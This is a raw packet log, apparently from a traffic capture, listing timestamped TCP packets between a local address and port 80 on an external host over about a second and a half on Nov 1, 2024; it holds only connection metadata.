Nov 1, 2024 05:52:24.913465023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913475990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913490057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913506031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913522005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913530111 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913537025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913551092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913564920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913566113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913580894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913595915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913610935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913613081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913613081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913625956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913640022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913645029 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913655043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913671017 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913671970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913686991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913707018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.913726091 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.913743019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.924856901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.929795027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929811001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929826021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929841995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929860115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.929860115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.929877043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929892063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929907084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929920912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929934978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929946899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.929946899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.929949999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929965973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.929970980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930006027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930017948 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930021048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930037022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930052996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930071115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930078030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930099964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930104971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930114985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930131912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930146933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930162907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930174112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930174112 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930177927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930195093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930208921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.930219889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.930252075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.946166039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946230888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.946232080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946254015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946276903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946285963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.946291924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946305990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946321964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946336985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.946362019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.946376085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.947243929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.948955059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.948996067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949011087 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949011087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949090004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949094057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949103117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949115992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949131966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949143887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949148893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949179888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949194908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949212074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949212074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949225903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949248075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949261904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949276924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949291945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949295998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949295998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949316025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949326992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949337959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949358940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949379921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949393988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949394941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949408054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949413061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949423075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949440002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949455023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949469090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.949486017 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.949563026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.950325966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.951155901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999012947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999028921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999044895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999059916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999074936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999078989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999089956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999104977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999105930 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999150038 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999238014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999253035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999267101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999281883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999296904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999298096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999319077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999319077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999331951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999335051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999350071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999386072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999393940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999407053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999422073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999439001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999454975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999458075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999458075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999469042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999485016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999500036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999526978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999526978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999532938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999548912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999563932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999579906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999598026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999598980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999614954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999630928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999630928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999630928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999644995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999659061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999675989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999691963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999701023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999701023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999706984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999721050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999735117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999749899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999759912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999759912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999766111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999780893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999784946 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999795914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999819994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:24.999833107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:24.999882936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021326065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021406889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021429062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021442890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021461010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021478891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021493912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021507025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021508932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021524906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021539927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021563053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021567106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021599054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021620989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021636009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021657944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021673918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021677971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021677971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021687984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021706104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021722078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021723032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021738052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021749020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021753073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021765947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021780014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021794081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.021804094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021804094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.021878958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022033930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022064924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022078037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022093058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022108078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022138119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022140980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022140980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022150993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022176981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022202969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022217035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022245884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022262096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022262096 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022275925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022290945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.022290945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.022310972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.063308954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063350916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063379049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063411951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063425064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.063427925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063442945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.063443899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.063519001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.065865040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065879107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065893888 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065908909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065922976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065934896 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.065937996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.065948009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.065980911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.065995932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066018105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066042900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066059113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066078901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066078901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066096067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066139936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066160917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066175938 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066178083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066193104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066206932 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066225052 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066225052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066240072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066261053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066274881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066282988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066289902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066308022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066323996 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066337109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066348076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066369057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066384077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066396952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066411018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066420078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066426039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066431999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.066440105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:25.066510916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:25.112163067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.106829882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106844902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106885910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106913090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106935024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106937885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.106937885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.106945992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106956959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106967926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.106987000 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.106998920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107012033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107023001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107032061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107065916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107067108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107090950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107100964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107110977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107121944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107127905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107140064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107140064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107165098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107186079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107188940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107188940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107217073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107228041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107245922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107256889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107265949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107275963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107283115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107292891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107301950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107305050 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107311010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107323885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107323885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107326984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107355118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107366085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107379913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107393026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107400894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107400894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107400894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107403994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107414007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107424021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107428074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107434034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107454062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107462883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:26.107471943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107481956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:26.107492924 CET	49712	80	192.168.2.5	185.215.113.16
